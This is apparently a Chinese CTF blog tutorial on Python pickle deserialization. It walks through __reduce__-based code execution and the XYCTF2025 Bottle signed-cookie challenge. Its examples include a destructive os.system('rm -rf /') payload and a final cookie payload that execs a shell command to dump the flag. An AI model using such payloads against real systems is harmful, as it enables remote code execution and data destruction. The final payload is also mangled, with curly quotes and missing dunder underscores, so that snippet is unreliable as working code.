共计 5322 个字符,预计需要花费 14 分钟才能阅读完成。

Python 反序列化基础:
与 PHP 的序列化相同,Python 的反序列化也是将类与对象转换成字符串进行数据的传输
在 Python 中主要用到 Pickle 库对实例进行序列化与反序列化操作
下面是一段示例代码
import pickle
import os
class dairy():
date = 20191029
text = "再学 CTF 我是狗"
todo = ['web 狗', 'CTF', 'Rycarl']
today = dairy()
a=pickle.dumps(today)
print(a)

关于 Pickle 库:
- Pickle 是 python 语言的一个标准模块,实现了基本的数据序列化和反序列化。
- Pickle 模块是以二进制的形式序列化后保存到文件中(保存文件的后缀为
.pkl),不能直接打开进行预览。
| 函数 | 说明 |
|---|---|
| dumps | 对象反序列化为 bytes 对象 |
| dump | 对象反序列化到文件对象,存入文件 |
| loads | 从 bytes 对象反序列化 |
| load | 对象反序列化,从文件中读取数据 |
pickle.dumps 就相当与 PHP 中的 serialize()

Pickle 函数除了可以对实例操作外对数组,字典,字符串也是可以进行序列化的
与 PHP 不同的是,你会发现 Python 序列化后的结果并没有之前我们所规定的属性

同样的我们进行反序列化后也不会有对应的属性

而实际开发的时候我们肯定需要带上类的属性,那么我们就需要用上 __reduce__ 这个魔术方法
与 PHP 中的 __wakeup__ 一样,__reduce__这个魔术方法会在反序列化之前进行告诉系统如何操作。
他的返回值第一个参数是函数名,第二个参数是一个 tuple,为第一个函数的参数
与 PHP 不同的是,我们可以人为控制 reduce 函数的内容,这就为 Pickle 反序列化带来了更多的可能性
下面是示例代码
import pickle
class tmp():
text = "456"
def __init__(self, text):
self.text = text
def __reduce__(self):
return (tmp,("123",))
text = tmp('aa')
sertext = pickle.dumps(text)
print(sertext)
reltext = pickle.loads(sertext)
print(reltext.text)
输出结果:

我们可以看到最后 print 函数输出了 123,而不是 aa 或者 456
其中
- 类属性
text = "123" __init__方法:将实例的text属性设置为传入的参数__reduce__方法:返回一个元组(tmp, ("123",)),这会控制序列化行为
reduce 的执行是在__init__之后的,所以会覆盖一开始时传入的参数
如果我们删掉 reduce 方法
如:
import pickle
class tmp:
text = "123"
def __init__(self, text):
self.text = text
# 测试
text = tmp('aa')
sertext = pickle.dumps(text)
reltext = pickle.loads(sertext)
print(reltext.text)
这样就可以使传入的值变成实际的值
我们也可以将传入的值继续在 reduce 中使用,如:
import pickle
class tmp:
text = "123" #没用可删除
def __init__(self, text):
self.text = text
def __reduce__(self):
return (tmp, (self.text,))
# 测试
text = tmp('234')
sertext = pickle.dumps(text)
reltext = pickle.loads(sertext)
print(reltext.text)
了解了 Pickle 的基本知识,我们就来看看如何用 pickle 执行系统代码
import pickle
import os
class tmp():
text = "123"
def __reduce__(self):
return (os.system,("whoami",))
text = tmp()
sertext = pickle.dumps(text)
print(sertext)
reltext = pickle.loads(sertext)
print(reltext.text)

在这里我们__reduce__调用了 os 模块进行操作,下面的 print 函数报错是因为无法找到 text 属性的值,我们不用理会
为什么我们使用 __reduce__ 魔术方法而不是其他魔术方法来进行 payload 的构造呢?
1. __reduce__ 是序列化协议的核心方法
pickle模块在序列化对象时,会调用对象的 __reduce__ 方法(如果存在),该方法返回一个元组,用于告诉 pickle 如何重建对象:
- 第一个元素是可调用对象(如函数、类等)。
- 第二个元素是调用该可调用对象的参数(元组形式)。
- 后续元素可选(如用于
__setstate__的状态)。
攻击者可以利用这一点,在反序列化时执行任意代码。
import pickle
class Malicious:
def __reduce__(self):
# 返回要执行的函数和参数
return (os.system, ('rm -rf /',)) # 恶意命令
payload = pickle.dumps(Malicious())
pickle.loads(payload) # 反序列化时执行命令
2. 其他魔术方法的局限性
虽然 Python 对象有许多魔术方法(如 __init__、__new__、__setstate__ 等),但它们在反序列化过程中的行为受限:
-
__init__和__new__:
这些方法用于初始化对象,但无法直接执行外部系统命令。攻击者需要依赖类本身的行为,而pickle默认不会通过这些方法执行任意代码。 -
__setstate__:
该方法用于恢复对象的状态(通过__getstate__保存的状态),但其输入是序列化时保存的状态,攻击者需要构造特定的状态数据,且执行能力有限。 -
__getattr__、__getattribute__等:
这些方法处理属性访问,不直接参与反序列化过程,因此难以利用。
3. __reduce__ 的底层控制权
__reduce__直接暴露了对象重建的底层逻辑:
- 直接指定可调用对象和参数:攻击者可以完全控制反序列化时执行的函数(如
os.system、subprocess.call等)。 - 绕过高层抽象:不需要依赖对象本身的逻辑,只需构造
__reduce__返回的元组即可。
4. 漏洞利用的普适性
几乎所有 Python 类都可以被攻击者通过重写 __reduce__ 来构造恶意载荷,而其他魔术方法可能需要特定上下文(如依赖属性访问、状态管理等),因此 __reduce__ 成为最通用的攻击入口。
而且本人在学习中有一个误区,一直以为需要类中存在__reduce__魔术方法才行,实际测试下来其实并不需要,只需要我们反序列化的数据中存在__ruduce__就行,原代码是否存在并不重要

接下来我们看几道例题
1.XYCTF2025
这是题目的全部源码,有兴趣的师傅可以自己尝试一下
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
''''''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
try:
with open('../../secret.txt', 'r') as f:
secret = f.read()
except:
print("No secret file found, using default secret")
secret = "secret"
app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data
@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=5000, debug=False)
我们这里重点看反序列化这一块,前面我们通过任意文件读取拿到了 secret
这里我们看到 /secret 路由是存在一个 get_cookie 的
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
我们观察 get_cookie 的逻辑
def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
""" Return the content of a cookie. To read a `Signed Cookie`, the
`secret` must match the one used to create the cookie (see
:meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
cookie or wrong signature), return a default value. """
value = self.cookies.get(key)
if secret:
# See BaseResponse.set_cookie for details on signed cookies.
if value and value.startswith('!') and '?' in value:
sig, msg = map(tob, value[1:].split('?', 1))
hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
if _lscmp(sig, base64.b64encode(hash)):
dst = pickle.loads(base64.b64decode(msg))
if dst and dst[0] == key:
return dst[1]
return default
return value or default
可以看到是有个 pickle.loads。那么很明显是要用到反序列化了
关于 cookie 的部分建议参考这篇文章:https://blog.csdn.net/Python1111111/article/details/147113678
最后的 payload:
from bottle import Bottle, request, response,run, route
class cmd():
def reduce(self):
return (exec,(“import(‘os’).popen(‘cat /f*>/app/app/app.py’).read()”,))
c = cmd()
#session = {“name”:c}
response.set_cookie(“name”,c,secret=”Hell0_H@cker_Y0u_A3r_Sm@r7″)
print(response._cookies)
这里我们先简单理解一下程序会反序列化 cookie 里面的内容,如果想要深入需要看上面那篇博客,这里就不展开讲了